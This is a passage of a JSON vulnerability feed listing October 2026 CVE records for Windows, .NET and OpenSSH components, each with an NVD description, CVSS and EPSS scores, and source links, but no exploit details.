CVE-2026-70179","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70179","type":"primary","publishedAt":"2026-10-13T19:19:32.170Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70179&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70179, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70177","cveId":"CVE-2026-70177","aliases":[],"kind":"vulnerability","title":"Numeric truncation error in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","summary":"Numeric truncation error in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","detail":"Numeric truncation error in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:31.987Z","updatedAt":"2026-10-16T16:20:41.120Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70177","asOf":"2026-10-16T16:20:41.120Z"},"epss":{"probability":0.00361,"percentile":0.29673,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70177&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70177","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70177","type":"primary","publishedAt":"2026-10-13T19:19:31.987Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70177&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70177, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70175","cveId":"CVE-2026-70175","aliases":[],"kind":"vulnerability","title":"Improper authentication in ASP.NET Core allows an unauthorized attacker to elevate privileges over a network.","summary":"Improper authentication in ASP.NET Core allows an unauthorized attacker to elevate privileges over a network.","detail":"Improper authentication in ASP.NET Core allows an unauthorized attacker to elevate privileges over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:31.687Z","updatedAt":"2026-10-14T04:18:32.377Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70175","asOf":"2026-10-14T04:18:32.377Z"},"epss":{"probability":0.00729,"percentile":0.53943,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70175&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70175","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70175","type":"primary","publishedAt":"2026-10-13T19:19:31.687Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70175&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70175, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70174","cveId":"CVE-2026-70174","aliases":[],"kind":"vulnerability","title":"Improperly implemented security check for standard in .NET allows an unauthorized attacker to execute code over a network.","summary":"Improperly implemented security check for standard in .NET allows an unauthorized attacker to execute code over a network.","detail":"Improperly implemented security check for standard in .NET allows an unauthorized attacker to execute code over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:31.533Z","updatedAt":"2026-10-22T22:18:33.917Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70174","asOf":"2026-10-22T22:18:33.917Z"},"epss":{"probability":0.00913,"percentile":0.59794,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70174&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70174","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70174","type":"primary","publishedAt":"2026-10-13T19:19:31.533Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70174&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70174, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70172","cveId":"CVE-2026-70172","aliases":[],"kind":"vulnerability","title":"Untrusted pointer dereference in Windows NTFS allows an authorized attacker to elevate privileges locally.","summary":"Untrusted pointer dereference in Windows NTFS allows an authorized attacker to elevate privileges locally.","detail":"Untrusted pointer dereference in Windows NTFS allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:31.180Z","updatedAt":"2026-10-16T16:20:40.427Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70172","asOf":"2026-10-16T16:20:40.427Z"},"epss":{"probability":0.00388,"percentile":0.32609,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70172&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70172","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70172","type":"primary","publishedAt":"2026-10-13T19:19:31.180Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70172&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70172, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70169","cveId":"CVE-2026-70169","aliases":[],"kind":"vulnerability","title":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Connected Devices Platform Service allows an authorized attacker to elevate...","summary":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Connected Devices Platform Service allows an authorized attacker to elevate privileges locally.","detail":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Connected Devices Platform Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:30.840Z","updatedAt":"2026-10-16T16:20:40.090Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70169","asOf":"2026-10-16T16:20:40.090Z"},"epss":{"probability":0.00219,"percentile":0.12319,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70169&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70169","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70169","type":"primary","publishedAt":"2026-10-13T19:19:30.840Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70169&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70169, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70168","cveId":"CVE-2026-70168","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:30.657Z","updatedAt":"2026-10-16T16:20:39.910Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70168","asOf":"2026-10-16T16:20:39.910Z"},"epss":{"probability":0.00307,"percentile":0.2326,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70168&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70168","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70168","type":"primary","publishedAt":"2026-10-13T19:19:30.657Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70168&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70168, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70164","cveId":"CVE-2026-70164","aliases":[],"kind":"vulnerability","title":"Use after free in Windows TCP/IP allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows TCP/IP allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows TCP/IP allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:30.087Z","updatedAt":"2026-10-16T16:20:39.500Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70164","asOf":"2026-10-16T16:20:39.500Z"},"epss":{"probability":0.00307,"percentile":0.23264,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70164&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70164","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70164","type":"primary","publishedAt":"2026-10-13T19:19:30.087Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70164&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70164, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70163","cveId":"CVE-2026-70163","aliases":[],"kind":"vulnerability","title":"Allocation of resources without limits or throttling in OpenSSH for Windows allows an unauthorized attacker to deny service over a network.","summary":"Allocation of resources without limits or throttling in OpenSSH for Windows allows an unauthorized attacker to deny service over a network.","detail":"Allocation of resources without limits or throttling in OpenSSH for Windows allows an unauthorized attacker to deny service over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:29.930Z","updatedAt":"2026-10-16T16:20:39.333Z","regions":["Global"],"vendor":null,"product":null,"stacks":["OpenSSH"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70163","asOf":"2026-10-16T16:20:39.333Z"},"epss":{"probability":0.01252,"percentile":0.69226,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70163&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70163","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70163","type":"primary","publishedAt":"2026-10-13T19:19:29.930Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70163&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70163, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70161","cveId":"CVE-2026-70161","aliases":[],"kind":"vulnerability","title":"Improper limitation of a pathname to a restricted directory ('path traversal') in .NET allows an authorized attacker to elevate privileges locally.","summary":"Improper limitation of a pathname to a restricted directory ('path traversal') in .NET allows an authorized attacker to elevate privileges locally.","detail":"Improper limitation of a pathname to a restricted directory ('path traversal') in .NET allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:29.683Z","updatedAt":"2026-10-22T22:18:32.530Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70161","asOf":"2026-10-22T22:18:32.530Z"},"epss":{"probability":0.0049,"percentile":0.41858,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70161&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70161","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70161","type":"primary","publishedAt":"2026-10-13T19:19:29.683Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70161&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70161, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70159","cveId":"CVE-2026-70159","aliases":[],"kind":"vulnerability","title":"Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network.","summary":"Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network.","detail":"Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:29.390Z","updatedAt":"2026-10-22T22:18:32.240Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70159","asOf":"2026-10-22T22:18:32.240Z"},"epss":{"probability":0.0123,"percentile":0.68714,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70159&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70159","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70159","type":"primary","publishedAt":"2026-10-13T19:19:29.390Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70159&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70159, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70158","cveId":"CVE-2026-70158","aliases":[],"kind":"vulnerability","title":"Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim's machine","summary":"Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim's machine","detail":"Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim's machine\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:29.210Z","updatedAt":"2026-10-16T16:20:38.843Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70158","asOf":"2026-10-16T16:20:38.843Z"},"epss":{"probability":0.00964,"percentile":0.61424,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70158&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70158","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70158","type":"primary","publishedAt":"2026-10-13T19:19:29.210Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70158&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70158, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70156","cveId":"CVE-2026-70156","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:28.857Z","updatedAt":"2026-10-16T16:20:38.487Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70156","asOf":"2026-10-16T16:20:38.487Z"},"epss":{"probability":0.00304,"percentile":0.22944,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70156&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70156","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70156","type":"primary","publishedAt":"2026-10-13T19:19:28.857Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70156&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70156, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70151","cveId":"CVE-2026-70151","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 